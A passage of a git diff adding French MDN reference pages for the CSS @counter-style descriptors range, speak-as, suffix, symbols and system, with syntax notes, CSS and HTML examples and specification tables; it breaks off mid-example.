+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle qui permet de créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/range/index.html b/files/fr/web/css/@counter-style/range/index.html
new file mode 100644
index 0000000000..92043910dc
--- /dev/null
+++ b/files/fr/web/css/@counter-style/range/index.html
@@ -0,0 +1,122 @@
+---
+title: range
+slug: Web/CSS/@counter-style/range
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/range
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>range</strong></code>, associé à la règle @ {{cssxref("@counter-style")}}, permet de définir l'intervalle de valeurs pris en compte par le compteur personnalisé. Si la valeur du compteur de la liste est en dehors de cet intervalle, ce sera la mise en forme de secours qui sera utilisée pour représenter le marqueur du compteur. La valeur de <code>range</code> peut être <code>auto</code> ou une liste de majorants/minorants, séparés par des virgules.</p>
+
+<p>Si <code>range</code> vaut <code>auto</code> :</p>
+
+<ul>
+ <li>Lorsque le descripteur <code>system</code> vaut <code>cyclic</code>, <code>numeric</code> ou <code>fixed</code>, l'intervalle considéré sera entre moins l'infini et plus l'infini.</li>
+ <li>Si <code>system</code> vaut <code>alphabetic</code> ou <code>symbolic</code>, l'intervalle considéré s'étendra entre 1 et l'infini.</li>
+ <li>Si <code>system</code> vaut <code>additive</code>, l'intervalle considéré ira de 0 à l'infini.</li>
+ <li>Enfin, lorsque <code>system</code> vaut <code>extends</code>, l'intervalle correspond à ce qui est produit par le système étendu avec cette valeur.</li>
+</ul>
+
+<p>Si <code>range</code> est défini par des entiers, on peut utiliser le mot-clé <code>infinite</code> pour indiquer l'infini. Lorsque <code>infinite</code> est indiqué comme la première valeur d'un intervalle, il est interprété comme l'infini négatif, sinon comme l'infini positif.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur avec un mot-clé */
+range: auto;
+
+/* Valeurs encadrant un intervalle */
+range: 2 5;
+range: infinite 10;
+range: 6 infinite;
+range: infinite infinite;
+
+/* Valeurs indiquant plusieurs intervalles */
+range: 2 5, 8 10;
+range: infinite 6, 10 infinite;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'intervalle dépend du système choisi pour le compteur comme indiqué ci-avant.</dd>
+ <dt><code>[ [ | infinite ]{2} ]#</code></dt>
+ <dd>Une liste d'intervalles séparées par des virgule. Pour chaque intervalle, la première valeur représente le minorant de l'intervalle inférieure et la deuxième représente le majorant. L'intervalle est un segment et inclue donc le minorant et le majorant. Si le mot-clé <code>infinite</code> est utilisé en premier, il indique l'infini négatif comme borne inférieure et s'il est utilisé comme seconde valeur pour l'intervalle, il correspondra à l'infini positif (utilisé alors comme borne supérieure). L'intervalle sur lequel s'applique le compteur défini correspond à l'union des intervalles qui composent cette liste.</dd>
+ <dd>Si un minorant indiqué est supérieur à un majorant, le descripteur sera considéré comme invalide et sera ignoré.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style range-multi-example {
+  system: cyclic;
+  symbols: "\25A0" "\25A1";
+  range: 2 4, 7 9;
+}
+
+.exemple {
+  list-style: range-multi-example;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+  &lt;li&gt;Six&lt;/li&gt;
+  &lt;li&gt;Sept&lt;/li&gt;
+  &lt;li&gt;Huit&lt;/li&gt;
+  &lt;li&gt;Neuf&lt;/li&gt;
+  &lt;li&gt;Dix&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>Résultat</p>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles", "#counter-style-range", "range")}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.range")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle qui permet de créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/speak-as/index.html b/files/fr/web/css/@counter-style/speak-as/index.html
new file mode 100644
index 0000000000..d3a7631b4e
--- /dev/null
+++ b/files/fr/web/css/@counter-style/speak-as/index.html
@@ -0,0 +1,129 @@
+---
+title: speak-as
+slug: Web/CSS/@counter-style/speak-as
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/speak-as
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>speak-as</code></strong>, rattaché à la règle @ {{cssxref("@counter-style")}}, permet d'indiquer la représentation sonore du compteur qui doit être utilisée par l'agent utilisateur si nécessaire. Ainsi, on peut utiliser ce descripteur pour que le compteur soit énoncé comme un nombre ou avec un signal audio particulier.</p>
+
+<p>Ce descripteur pourra prendre les valeurs <code>auto</code>, <code>bullets</code>, <code>numbers</code>, <code>words</code>, <code>spell-out</code> ou alors pourra pointer vers un autre style de compteur avec le nom de ce style.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+speak-as: auto;
+speak-as: bullets;
+speak-as: numbers;
+speak-as: words;
+speak-as: spell-out;
+
+/* Nom d'un autre style @counter-style */
+speak-as: &lt;counter-style-name&gt;;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Dans ce cas, la valeur réelle de <code>speak-as</code> sera définie selon la valeur utilisée pour le descripteur {{cssxref("system")}} :
+ <ul>
+  <li>Si <code>system</code> vaut <code>alphabetic</code>, <code>speak-as</code> sera alors synonyme de <code>spell-out</code>.</li>
+  <li>Si <code>system</code> vaut <code>cyclic</code>, <code>speak-as</code> sera alors synonyme de <code>bullets</code>.</li>
+  <li>Si <code>system</code> vaut <code>extends</code>, la valeur de <code><em>speak-as</em></code> sera la même que celle correspondante à <code>auto</code> dans le style étendu.</li>
+  <li>Dans les autres cas, le comportement de <code>numbers</code> sera utilisé.</li>
+ </ul>
+ </dd>
+ <dt><code>bullets</code></dt>
+ <dd>Un morceau ou un signal sonore utilisé par l'agent utilisateur et qui représente la façon d'énoncer une liste non-ordonnée.</dd>
+ <dt><code>numbers</code></dt>
+ <dd>La valeur numérique du compteur sera énoncée dans la langue du document.</dd>
+ <dt><code>words</code></dt>
+ <dd>L'agent utilisateur génèrera une représentation normale du compteur et la lira comme un mot, dans la langue du document.</dd>
+ <dt><code>spell-out</code></dt>
+ <dd>L'agent utilisateur génèrera une représentation normale du compteur et l'énoncera en l'épelant. Si l'agent utilisateur ne sait pas comment prononcer une valeur du compteur, il la prononcera comme avec la valeur <code>numbers</code>.</dd>
+ <dt><code>&lt;counter-style-name&gt;</code></dt>
+ <dd>Si la valeur du descripteur est le nom d'un autre style de compteur, ce sera la valeur de <code>speak-as</code> de ce style qui sera utilisée. Si la style visé n'existe pas, cette valeur sera alors synonyme de <code>auto</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style speak-as-exemple {
+  system: fixed;
+  symbols:     ;
+  suffix: " ";
+  speak-as: numbers;
+}
+
+
+.exemple {
+  list-style: speak-as-exemple;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>La prise en charge de cette fonctionnalité par les outils d'assistance est actuellement très restreinte. Veillez à ne pas reposer sur cette propriété si vous souhaitez transmettre des informations majeures quant au but de la page.</p>
+
+<ul>
+ <li><a href="https://css-tricks.com/lets-talk-speech-css/">Let's Talk About Speech CSS, CSS Tricks</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-speak-as', 'speak-as')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.speak-as")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}} : la notation fonctionnelle qui permet de créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/suffix/index.html b/files/fr/web/css/@counter-style/suffix/index.html
new file mode 100644
index 0000000000..a39b699c0d
--- /dev/null
+++ b/files/fr/web/css/@counter-style/suffix/index.html
@@ -0,0 +1,93 @@
+---
+title: suffix
+slug: Web/CSS/@counter-style/suffix
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/suffix
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>suffix</strong></code>, utilisé avec la règle @ {{cssxref("@counter-style")}}, afin de définir un symbole qui pourra être utilisé comme suffixe pour la représentation du marqueur. Le symbole en question pourra être une chaîne de caractères, une image ou un identifiant CSS. La valeur par défaut de ce descripteur sera <code>"\2E\20"</code> (un point « . » suivi par un espace).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Une valeur de type &lt;symbol&gt; */
+suffix: "";
+suffix: ") ";
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>&lt;symbol&gt;</code></dt>
+ <dd>Un symbole qui sera ajouté comme suffixe à la représentation du marqueur. Cette valeur peut être une valeur de type {{cssxref("&lt;string&gt;")}}, {{cssxref("&lt;image&gt;")}} ou {{cssxref("&lt;custom-ident&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style options {
+  system: fixed;
+  symbols: A B C D;
+  suffix: ") ";
+}
+
+.exemple {
+  list-style: options;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Autre&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#descdef-counter-style-suffix', 'suffix')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.suffix")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle utilisée pour créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/symbols/index.html b/files/fr/web/css/@counter-style/symbols/index.html
new file mode 100644
index 0000000000..2440d1a430
--- /dev/null
+++ b/files/fr/web/css/@counter-style/symbols/index.html
@@ -0,0 +1,108 @@
+---
+title: symbols
+slug: Web/CSS/@counter-style/symbols
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/symbols
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>symbols</code></strong>, rattaché à la règle @ {{cssxref("@counter-style")}}, est utilisé pour définir les symboles à utiliser pour construire les représentations du compteur. Un symbole peut être une chaîne de caractères, une image ou un identifiant.</p>
+
+<pre class="brush: css no-line-numbers">symbols: A B C D E;
+symbols: "\24B6" "\24B7" "\24B8" D E;
+symbols: "0" "1" "2" "4" "5" "6" "7" "8" "9";
+symbols: url('premier.svg') url('deuxieme.svg') url('troisieme.svg');
+symbols: indic-numbers;
+</pre>
+
+<p>Le descripteur <code>symbols</code> doit être défini lorsque la valeur du descripteur {{cssxref('system')}} vaut <code>cyclic</code>, <code>numeric</code>, <code>alphabetic</code>, <code>symbolic</code> ou <code>fixed</code>. Lorsque <code>system</code> vaut <code>additive</code>, ce sera le descripteur {{cssxref('additive-symbols')}} qui sera utilisé afin de définir les symboles.</p>
+
+<ul>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<ul>
+ <li>Des chaînes de caractères ({{cssxref("&lt;string&gt;")}}) délimitées par des quotes simples ou doubles. La barre oblique inversée (\) peut être utilisée afin d'échapper les caractères spéciaux. Ainsi, on peut utiliser des caractères Unicode de cette façon <code>"\24B6"</code>.</li>
+ <li>Des images ({{cssxref("&lt;image&gt;")}}) en utilisant la notation fonctionnelle <code>url(chemin-vers-image.png)</code>. <strong>Attention : cette fonctionnalité (l'utilisation d'image) est à risque en termes d'implémentation et de conservation dans les spécifications et n'est implémentée par aucun navigateur actuellement.</strong></li>
+ <li>Des identifiants ({{cssxref("&lt;custom-ident&gt;")}})</li>
+</ul>
+
+<dl>
+ <dt><code>&lt;symbol&gt;</code></dt>
+ <dd>Représente le symbole à utiliser pour le système de comptage. La valeur du descripteur <code>symbols</code> peut être :</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style symbols-exemple {
+  system: fixed;
+  symbols: A "1" "\24B7" D E;
+}
+
+.exemple {
+  list-style: symbols-exemple;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-symbols', 'symbols')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.symbols")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@counter-style")}},</li>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle utilisée pour créer des styles de compteur anonymes,</li>
+ <li>{{cssxref("url()", "url()")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/system/index.html b/files/fr/web/css/@counter-style/system/index.html
new file mode 100644
index 0000000000..378154364d
--- /dev/null
+++ b/files/fr/web/css/@counter-style/system/index.html
@@ -0,0 +1,340 @@
+---
+title: system
+slug: Web/CSS/@counter-style/system
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/system
+---
+<div>{{CSSRef}}</div>
+
+<p>La descripteur <strong><code>system</code></strong>, utilisé avec <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">la règle @</a> {{cssxref("@counter-style")}}, permet de définir l'algorithme utilisé pour convertir la valeur entière d'un compteur en une chaîne de caractères.</p>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+system: cyclic;
+system: numeric;
+system: alphabetic;
+system: symbolic;
+system: additive;
+system: fixed;
+
+/* Combinaison de valeurs */
+system: fixed 3;
+system: extends decimal;
+</pre>
+
+<p>Si l'algorithme défini dans ce descripteur est incapable de construire la chaîne de caractères pour une valeur donnée, ce sera le système de secours qui sera utilisé ({{cssxref("fallback")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Ce descripteur peut prendre l'une de ces trois formes :</p>
+
+<ul>
+ <li>Un des mots-clés parmi <code>cyclic</code>, <code>numeric</code>, <code>alphabetic</code>, <code>symbolic</code>, <code>additive</code>, <code>fixed</code></li>
+ <li>Le mot-clé <code>fixed</code> avec un entier</li>
+ <li>Le mot-clé <code>extends</code> avec un nom correspondant à un {{cssxref("@counter-style")}}.</li>
+</ul>
+
+<dl>
+ <dt><code>cyclic</code></dt>
+ <dd>Le système itère et boucle parmi la liste des symboles fournis. Une fois que la fin de la liste est atteinte, le système reprend au début de la liste. Ce système est pertinent lorsqu'on a un seul symbole ou une liste non numérotée avec des puces. Afin que le style du compteur soit valide, il faut au moins définir un symbole via le descripteur {{cssxref("symbols")}}.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>Cette valeur permet de définir un ensemble fini de symboles. Une fois que le système a utilisé les différents symboles, il poursuivra en utilisant le système de secours. Afin que le style du compteur soit valide, il faut qu'au moins un symbole soit défini avec le descripteur <code>symbols</code>. On peut éventuellement ajouter un entier (valeur {{cssxref("integer")}}) après le système et qui définit la valeur du premier symbole. La valeur par défaut de ce paramètre (s'il est absent) est <code>1</code>.</dd>
+ <dt><code>symbolic</code></dt>
+ <dd>Le système itère sur la liste des symboles et à chaque boucle, on double, triple, etc. la représentation. Ainsi, si les symboles fournis sont ◽ et ◾, au cycle suivant, on aura ◽◽ puis ◾◾, ensuite ◽◽◽ et ◾◾◾ et ainsi de suite. Afin que le style du compteur soit valide, il faut définir au moins un symbole avec le descripteur <code>symbols</code>. Ce système de compteur ne fonctionne que pour les valeurs positives.</dd>
+ <dt><code>alphabetic</code></dt>
+ <dd>Le système interprète les symboles comme les chiffres d'un système de numérotation alphabétique. Ainsi, si les lettres <code>a</code> à <code>z</code> sont définies comme symbole dans un style de compteur dont le système est <code>alphabetic</code>, les 26 premières représentations du compteur seront <code>a</code>, <code>b</code>, etc. jusqu'à <code>z</code> (jusqu'ici, le comportement est identique à celui obtenu grâce à <code>symbolic</code>) mais ensuite, le système poursuivra avec <code>aa</code>, <code>ab</code>, <code>ac</code>, etc.<br>
+ <br>
+ Pour que le style du compteur soit valide, il faut qu'au moins deux symboles soient fournis. Le premier symbole est interprété comme <code>1</code>, le suivant comme <code>2</code> et ainsi de suite. Ce système ne fonctionne que pour les valeurs positives.</dd>
+ <dt><code>numeric</code></dt>
+ <dd>Les symboles sont interprétés comme les chiffres d'un <a href="https://fr.wikipedia.org/wiki/Notation_positionnelle">système de notation positionnelle</a>. Ce système est très proche de celui qu'on peut obtenir avec <code>alphabetic</code> sauf que, pour ce dernier, le premier symbole fourni par <code>symbols</code> sera interprété comme <code>1</code>, le suivant  comme <code>2</code> et ainsi de suite alors que pour <code>numeric</code>, le premier symbole est interprété comme 0, le suivant comme <code>1</code>, puis <code>2</code> etc.<br>
+ <br>
+ Pour que le style de compteur soit valide, il faut qu'au moins deux symboles soient définis avec <code>symbols</code>. Le premier symbole qui est fourni sera interprété comme <code>0</code>. Comme on peut le voir dans l'exemple ci-après, si on utilise les chiffres de <code>0</code> à <code>9</code> comme symboles, on obtiendra le même résultat qu'avec le système décimal.</dd>
+ <dt><code>additive</code></dt>
+ <dd>Ce système peut être utilisé pour représenter <a href="https://fr.wikipedia.org/wiki/Notation_additive_(num%C3%A9ration)">des systèmes de numérotations additives</a> telles que les chiffres romains qui, plutôt que de réutiliser des chiffres pour obtenir différentes valeurs, définissent des chiffres supplémentaires pour représenter de grandes valeurs. La valeur d'un nombre représenté dans ce sytème est obtenue en sommant les différents chiffres qui le représentent.<br>
+ <br>
+ Le descripteur supplémentaire {{cssxref("additive-symbols")}} doit être utilisé avec au moins un tuple additif pour que le style de compteur soit considéré comme valide. Un tuple additif est composé d'un symbole de compteur et d'un poids entier positif. Les tuples additifs doivent être définis dans l'ordre décroissant de leurs poids afin que le système soit valide.</dd>
+ <dd>
+ <p>On voit dans l'exemple ci-après que <code>range</code> est utilisé afin de définir l'intervalle de validité. Une fois en dehors de cet intervalle, on utilisera la représentation classique avec <code>decimal</code> (le style de secours). Si on veut utiliser les chiffres romains, on pourra utiliser les valeurs de style prédéfinies comme <code>upper-roman</code> ou <code>lower-roman</code> afin d'éviter de réinventer la roue.</p>
+ </dd>
+ <dt><code>extends</code></dt>
+ <dd>Ce mot-clé permet aux auteurs d'utiliser l'algorithme d'un autre style de compteur et de modifier ses autres caractéristiques. Si une règle d'un style de compteur utilise le système <code>extends</code> et que certains de ces descripteurs ne font pas définis, leurs valeurs seront prises depuis le style de compteur indiqué. Si le nom du style référencé n'existe pas, le style de secours (décimal) sera utilisé.<br>
+ <br>
+ Pour que le style de compteur soit valide, il ne doit pas contenir de descripteur <code>symbols</code> ou <code>additive-symbols</code>. Si, selon les différents styles de compteur, on a un cycle de référence (A qui pointe vers B qui pointe vers C qui pointe vers A par exemple), l'agent utilisateur considèrera que tous les styles étendent le style décimal.</dd>
+ <dd>Dans l'exemple final, le style de compteur utiliser les valeurs du système de compteur <code>lower-alpha</code> mais retire le point comme suffixe et entour les caractères entre parenthèses (pour obtenir <code>(a)</code> <code>(b)</code> etc).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_cyclic">Utilisation de <code>cyclic</code></h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">@counter-style fisheye {
+  system: cyclic;
+  symbols: ◉;
+  suffix: " ";
+}
+
+.list {
+    list-style: fisheye;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_cyclic')}}</p>
+
+<h3 id="Utilisation_de_fixed">Utilisation de <code>fixed</code></h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">@counter-style circled-digits {
+  system: fixed;
+  symbols: ➀ ➁ ➂;
+  suffix: ' ';
+}
+
+.list {
+  list-style: circled-digits;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_fixed')}}</p>
+
+<h3 id="Utilisation_de_symbolic">Utilisation de <code>symbolic</code></h3>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">@counter-style abc {
+  system: symbolic;
+  symbols: a b c;
+  suffix: ". ";
+}
+
+.list {
+  list-style: abc;
+}
+</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_symbolic')}}</p>
+
+<h3 id="Utilisation_de_alphabetic">Utilisation de <code>alphabetic</code></h3>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">@counter-style abc {
+  system: alphabetic;
+  symbols: a b c;
+  suffix: ". ";
+}
+
+.list {
+  list-style: abc;
+}
+</pre>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_alphabetic')}}</p>
+
+<h3 id="Utilisation_de_numeric_avec_des_lettres">Utilisation de <code>numeric</code> avec des lettres</h3>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css">@counter-style abc {
+  system: numeric;
+  symbols: a b c;
+  suffix: ". ";
+}
+
+.list {
+  list-style: abc;
+}</pre>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat_5">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_numeric_avec_des_lettres')}}</p>
+
+<h3 id="Utilisation_de_numeric_avec_des_chiffres">Utilisation de <code>numeric</code> avec des chiffres</h3>
+
+<h4 id="CSS_6">CSS</h4>
+
+<pre class="brush: css">@counter-style numbers {
+  system: numeric;
